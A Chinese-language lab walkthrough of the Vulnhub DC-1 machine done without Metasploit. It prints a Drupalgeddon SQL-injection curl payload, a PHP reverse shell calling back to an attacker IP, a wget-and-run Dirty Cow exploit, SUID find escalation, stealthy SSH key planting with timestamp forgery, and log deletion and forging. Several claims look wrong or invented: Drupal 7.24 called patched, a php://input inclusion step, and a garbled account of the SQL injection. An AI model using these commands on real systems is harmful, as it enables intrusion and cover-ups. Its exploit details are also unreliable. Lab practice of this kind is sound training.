1. 项目概述:为什么选择DC-1靶机但拒绝MSF?
在渗透测试的学习路径上,Vulnhub的DC系列靶机向来是新手晋级的最佳训练场。DC-1作为该系列的经典入门靶机,设计初衷就是帮助学习者掌握基础漏洞利用技巧。但这次我给自己加了个限制条件——全程禁用Metasploit Framework(MSF)。这个决定源于两个实战体会:一是企业内网渗透中MSF常被安全设备重点关照,二是过度依赖自动化工具会弱化底层原理的理解能力。
从技术实现角度看,DC-1靶机包含五个flag,涉及SQL注入、文件包含、权限提升等典型漏洞链。传统解法往往直接用MSF的exploit模块一键getshell,但手动复现漏洞利用过程才能真正锻炼代码审计、流量分析和手工利用的能力。比如在获取初始立足点时,需要手工构造特殊的PHP序列化字符串来突破文件包含限制,这个过程中对PHP序列化机制的理解深度,直接决定了后续能否顺利拿到www-data权限。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与信息收集
2.1 靶机环境配置要点
使用VirtualBox导入OVA文件时,建议将网络模式设置为"Host-only Adapter"。这个私有网络环境能避免扫描流量外泄,同时方便Kali与靶机直接通信。关键配置参数如下:
| 配置项 | 参数值 | 注意事项 |
|---|---|---|
| 内存分配 | 1GB以上 | 防止Drupal服务崩溃 |
| 网络适配器 | Host-only | 禁用NAT避免IP冲突 |
| 磁盘控制器 | SATA控制器 | IDE模式可能导致启动失败 |
实测发现当内存低于768MB时,Drupal的MySQL服务会频繁崩溃,导致渗透过程中服务不可用。建议在VirtualBox设置中预留1.2GB内存空间。
2.2 自动化扫描与手工验证
启动Armitage进行自动化扫描固然方便,但这里我们坚持手工操作流程:
bash复制# 使用nmap进行全端口扫描
nmap -sV -p- 192.168.56.102 -oA dc1_fullscan
# 对开放服务进行深度识别
nmap --script vuln -p 80,111,22 192.168.56.102
扫描结果通常会显示80端口的Drupal 7服务。此时不要急于上WPScan,先手工访问web界面查看版本标识。在Drupal的CHANGELOG.txt中,7.x版本的详细修订号会暴露具体漏洞范围。我遇到过扫描器误报的情况:WPScan可能将Drupal 7.24识别为存在CVE-2014-3704(Drupalgeddon),但实际上该版本已包含安全补丁。
3. 漏洞利用链的深度解析
3.1 Drupalgeddon的手工复现
虽然禁用MSF,但CVE-2014-3704的利用原理必须吃透。这个SQL注入漏洞源于Drupal 7.31及之前版本对数组参数的处理缺陷。手工利用需要理解以下关键点:
- 注入点位于
/?q=user/password页面的name参数 - 利用PHP的数组哈希碰撞特性(
name[0]=exp&name[1]=xxx) - 通过报错注入获取管理员session ID
手工构造的curl命令示例:
bash复制curl -i -s -k -X $'POST' \
--data-binary $'name[0%20;update+users+set+name%3D\'admin\'+,+pass+%3D+\'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld\'+where+uid+%3D+\'1\'%3B--+&name[1]=test&pass=lol&form_build_id=&form_id=user_pass&op=Submit' \
$'http://192.168.56.102/?q=user/password'
这个注入会修改admin密码为已知哈希(对应明文password),之后就能用admin/password登录。整个过程涉及Drupal的密码哈希机制(SHA-512 + Drupal特有的迭代次数),手工实现需要精确控制SQL语句的闭合。
3.2 文件包含到代码执行的转化
获取admin权限后,在Drupal的PHP模板注入需要特殊技巧。常规的MSF模块会自动化这个过程,但手工操作更能理解原理:
- 在PHP input模块写入反弹shell代码
- 通过theme参数触发文件包含
- 利用PHP的
php://input流包装器执行代码
关键步骤示例:
bash复制# 1. 准备反弹shell的PHP代码
echo '<?php exec("/bin/bash -c \'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1\'"); ?>' > payload.txt
# 2. 使用curl发送包含漏洞请求
curl -X POST \
--data-binary @payload.txt \
"http://192.168.56.102/?q=user/login&file=php://input" \
-H "Cookie: SESS60f8c5b5d9e6c7b8a9f3c3d3f3f3f3f=admin"
这个过程中最容易出错的是会话维持问题。Drupal的session机制对请求头顺序敏感,建议使用Burp Suite的Repeater模块固定Cookie头位置。此外,目标服务器的PHP配置可能限制php://input使用,此时需要尝试filter/convert.base64-encode/resource=等替代方案。
4. 权限提升的三种路径分析
4.1 SUID二进制文件审计
拿到www-data权限后,常规建议是运行find / -perm -4000 2>/dev/null查找SUID文件。在DC-1中,/usr/bin/find的SUID位是突破口。但直接执行find . -exec /bin/sh \;可能失败,因为现代Linux系统的防护机制。这里需要更精细的利用方式:
bash复制# 创建临时目录避免权限问题
mkdir /tmp/exploit
cd /tmp/exploit
# 通过-execdir参数绕过限制
find . -execdir /bin/sh -p \;
关键技巧:使用
-execdir而非-exec能避免PATH环境变量限制,-p参数保留特权模式。这个细节在大多数教程中都不会提及,却是实战成功的关键。
4.2 内核漏洞的可行性评估
虽然DC-1的内核版本可能存在脏牛(Dirty Cow)漏洞,但我不建议优先采用内核提权。原因有三:
- 内核漏洞利用可能导致系统崩溃,丢失现有会话
- 编译exploit需要安装gcc,可能触发安全告警
- DC-1设计初衷是训练基础权限维持能力
不过作为技术储备,可以下载预编译的exploit:
bash复制wget http://192.168.56.101/dirtycow -O /tmp/dc
chmod +x /tmp/dc
/tmp/dc
4.3 密码哈希破解的实战价值
在/var/www/目录下发现的shadow文件备份往往包含可破解哈希。使用John the Ripper时需要特别注意格式转换:
bash复制unshadow passwd.bak shadow.bak > crack.db
john --wordlist=/usr/share/wordlists/rockyou.txt crack.db
但DC-1的flag4设计精妙之处在于:它要求先读取/root/.bash_history文件,其中包含mysql凭据。这种设计引导渗透者发现数据库中的敏感信息,而非盲目破解密码。这种"线索链"设计正是Vulnhub靶机的精髓所在。
5. 后渗透阶段的持久化技巧
5.1 SSH密钥植入的隐蔽方法
拿到root权限后,传统的authorized_keys写入方法可能触发文件监控。更隐蔽的做法是:
bash复制# 1. 在现有密钥文件中追加新密钥
echo "ssh-rsa AAAAB3N...[你的公钥]" >> /root/.ssh/authorized_keys
# 2. 修改时间戳伪装成旧文件
touch -r /etc/passwd /root/.ssh/authorized_keys
5.2 日志清理的注意事项
直接删除/var/log/auth.log等文件太过明显。建议使用sed进行选择性删除:
bash复制# 删除包含特定IP的记录
sed -i '/192.168.56.101/d' /var/log/auth.log
# 伪造日志条目
logger -p auth.info "Failed password for root from 192.168.1.100"
这种操作虽然不能完全消除痕迹,但能大幅增加取证难度。在真实环境中,更高级的做法是使用内存执行的无文件后门。
6. 拒绝MSF带来的意外收获
通过这次限制性挑战,我总结出三点核心经验:
-
手工利用漏洞迫使你阅读CVE的原始描述,比如理解Drupalgeddon的SQL注入本质上是利用了PHP的参数解析特性,这种深度认知是自动化工具无法提供的。
-
在提权阶段,对find命令SUID位的利用让我深入研究了exec与execdir参数的区别,这个知识点在后来某次真实渗透测试中成功绕过了目标系统的防护机制。
-
不用MSF的AutoRoute功能后,不得不手工配置iptables转发,这反而让我掌握了多跳板环境下的流量隧道技术。现在我能熟练使用ssh -D和proxychains的组合解决复杂的网络隔离场景。
最后分享一个排查技巧:当PHP文件包含漏洞利用失败时,先在目标服务器上phpinfo()查看allow_url_include配置状态,这个习惯帮我节省了大量无效尝试时间。
